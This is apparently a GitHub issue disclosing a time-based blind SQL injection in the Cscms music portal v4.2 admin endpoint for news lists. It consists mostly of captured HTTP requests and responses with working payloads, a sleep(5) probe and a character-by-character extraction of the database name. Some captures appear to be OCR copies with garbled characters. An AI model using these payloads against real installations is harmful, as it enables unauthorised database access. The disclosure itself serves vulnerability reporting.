


New issue

[Jump to bottom](#)

SQL injection vulnerability exists in Cscms music portal system v4.2 #20

 Open Am1azi3ng opened this issue on Apr 18 · 0 comments

Am1azi3ng commented on Apr 18

Details

Injection vulnerability exists in news_Lists.php_zhuan

construct payload

```
POST /admin.php/news/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic?v=705
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4;
cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHc0kF4oyCoI8lNzjjyeMF3fURy57grmVzbA;
cscms_session=b3vaeo61gbiune90rtjdcqg2am7gqgl;XDEBUG_SESSION=PHPSTORM
Connection: close
```

```
id[]=(sleep(5))&cid=5
```

The injection point is ID and sleeps for 5 seconds

```

2 Host: csms.test
3 Content-Length: 21
4 Accept: application/json, text/javascript, */*; q=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML
  like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://csms.test
9 Referer: http://csms.test/admin.php/news/admin/topic?v=705
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: csms_admin_id=3HtLFUmqgin4; csms_admin_login=
  6HHRwKPigz1%2FN9C4mVhc0kF4oyCoI8INzjyjeMF3fURy57grmVzbA; csms_session=
  b3vaeo6lgbune90rtjdcqg2am7gqgl; XDEBUG_SESSION=PHPSTORM
13 Connection: close
14
15 id[]=(sleep(5))&id=5

```

0 matches

800 bytes | 5.473 mls

construct payload

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)

Request

Raw Params Headers Hex

1 POST /admin.php/news/admin/lists/zhuan HTTP/1.1

2 Host: csms.test

3 Content-Length: 101

4 Accept: application/json, text/javascript, */*; q=0.01

5 X-Requested-With: XMLHttpRequest

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

8 Origin: http://csms.test

9 Referer: http://csms.test/admin.php/news/admin/topic?v=705

10 Accept-Encoding: gzip, deflate

11 Accept-Language: zh-CN,zh;q=0.9

12 Cookie: csms_admin_id=3HtLFUmqgin4; csms_admin_login=6HHRwKPigz1%2FN9C4mVhc0kF4oyCoI8INzjyjeMF3fURy57grmVzbA; csms_session=b3vaeo6lgbune90rtjdcqg2am7gqgl; XDEBUG_SESSION=PHPSTORM

13 Connection: close

14

15 id[]=(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)&id=5

0 matches

Response

Raw Headers Hex

1 HTTP/1.1 200 OK

2 Date: Wed, 19 Jan 2022 08:10:25 GMT

3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

4 X-Powered-By: PHP/5.6.9

5 Expires: Thu, 19 Nov 1981 08:52:00 GMT

6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

7 Pragma: no-cache

8 X-Generator: Csms v4 (http://www.chshoms.com)

9 Set-Cookie: csms_session=b3vaeo6lgbune90rtjdcqg2am7gqgl; expires=Wed, 19-Jan-2

10 Connection: close

11 Content-Type: text/html; charset=utf-8

12 Content-Length: 240

13

14 {"error":0,"info":{"url":"/admin.php/news/admin/lists?v=3305","msg":"\u060d\u

0 matches

800 bytes | 5.474 mls

```
2 Host: cscms.test
3 Content-Length: 101
4 Accept: application/json, text/javascript, */*; q=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://cscms.test
9 Referer: http://cscms.test/admin.php/news/admin/topic?v=705
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: cscms_admin_id=3HtLFUxqgin4; cscms_admin_login=
  6hHRwKPigz1%2FN9C4mVhc0kF4oyCo18INzjjyeMF3fURy57gmVzbA; cscms_session=
  b3vaeo6lgbione90rtjsdcqg2am7gag1; XDEBUG_SESSION=PHPSTORM
13 Connection: close
14
15 id[]=
  (case(1)when(ascii(substr((select(database())from(1)for(1)))=99)then(sleep(5))o
  r(1)end)&cid=5

2 Date: Wed, 19 Jan 2022 08:18:03 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/5.6.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache
8 X-Generator: Cscms v4 (http://www.chshoms.com)
9 Set-Cookie: cscms_session=b3vaeo6lgbione90rtjsdcqg2am7gag1; expires=Wed, 19-Jan-2
10 Connection: close
11 Content-Type: text/html; charset=utf-8
12 Content-Length: 240
13
14 [{"error":0,"info":{"url":"/admin.php/news/admin/lists?v=1893","msg":"\u0606d\u
```

Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerability exist

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

